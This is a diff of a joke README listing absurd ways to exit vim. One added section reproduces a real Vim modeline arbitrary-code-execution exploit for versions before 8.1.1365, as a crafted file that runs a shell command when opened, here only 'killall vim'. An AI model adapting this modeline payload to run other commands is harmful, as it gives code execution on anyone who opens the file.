@@ -33,6 +33,13 @@ Credit: @kpumuk
33
33
:!grep -P "PPid:\t(\d+)" /proc/$$/status | cut -f2 | xargs kill -9
34
34
```
35
35
36
+ ## The lazy pythonic using shell way
37
+ Credit: @PozziSan
38
+
39
+ ``` bash
40
+ python -c " from os import system; system('killall -9 vim')"
41
+ ````
42
+
36
43
# # The pythonic way
37
44
Credit: @hakluke
38
45
@@ -527,9 +534,10 @@ exit him
527
534
how exit vim
528
535
```
529
536
530
- ### Linux
537
+ ## Linux
531
538
``` vim
532
539
:call libcallnr('libc.so.6', 'exit', 0)
540
+ ```
533
541
534
542
## The canonical way
535
543
Credit: @ligurio
644
652
```
645
653
!aws --region `ec2-metadata --availability-zone | sed 's/placement: \(.*\).$/\1/'` ec2 stop-instances --instance-ids `wget -q -O - http://169.254.169.254/latest/meta-data/instance-id`
646
654
```
655
+
656
+ ## The Arbitrary Code Execution Way
657
+
658
+ Based on https://www.exploit-db.com/exploits/46973 . Works with Vim < 8.1.1365.
659
+
660
+ 1 . Create a file (say ` quit.txt ` ) with the following data:
661
+ ```
662
+ echo ':!killall vim||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' > quit.txt
663
+ ```
664
+ 2 . Ensure that the modeline option has not been disabled.
665
+ ```
666
+ echo "set modeline" >> .vimrc
667
+ ```
668
+ 3 . Open ` quit.txt ` .
669
+ ```
670
+ :e! quit.txt
671
+ ```
672
+
673
+ ## The Circuit Breaker Way
674
+ Credit:@Tomcat-42
675
+
676
+ 1 . Leave your computer
677
+ 2 . Find the nearest electrical circuit breaker panel
678
+ 3 . Switch off and on the main breaker
679
+ 4 . Return to your computer
680
+ 5 . Your computer should no longer be running vim
681
+
682
+ ** Note:** This approach prove itself ineffective against notebooks, desktops on a UPS or remote servers.
683
+
684
+ ## The Ansible Way
685
+ Credit: @lpmi-13
686
+
687
+ run vim.yml playbook with the following contents:
688
+
689
+ ```
690
+ ---
691
+ - hosts: vimbox
692
+
693
+ vars:
694
+ required_packages:
695
+ - vim
696
+
697
+ tasks:
698
+ - name: install python 2
699
+ raw: test -e /usr/bin/python || (apt -y update && apt install -y python-minimal)
700
+
701
+ - name: Update APT package cache
702
+ apt:
703
+ update_cache: yes
704
+
705
+ - name: Run apt-get upgrade
706
+ apt: upgrade=safe
707
+
708
+ - name: Install required packages
709
+ apt: state=installed pkg={{ item }}
710
+ with_items: "{{ required_packages }}"
711
+
712
+ - name: Start Vim in the background.
713
+ shell: "(vim >/dev/null 2>&1 &)"
714
+
715
+ - name: Quit Vim.
716
+ shell: "(pkill vim)"
717
+ ```
718
+
719
+ ## The Stack Overflow Way
720
+ Credit: @cobaltblu27
721
+
722
+ * Yeah exiting vim is really frustrating sometimes. You should definately try using Neovim. It's fast, has terminal emulator, and also supports plugin that will help you exit vim.*
723
+
0 commit comments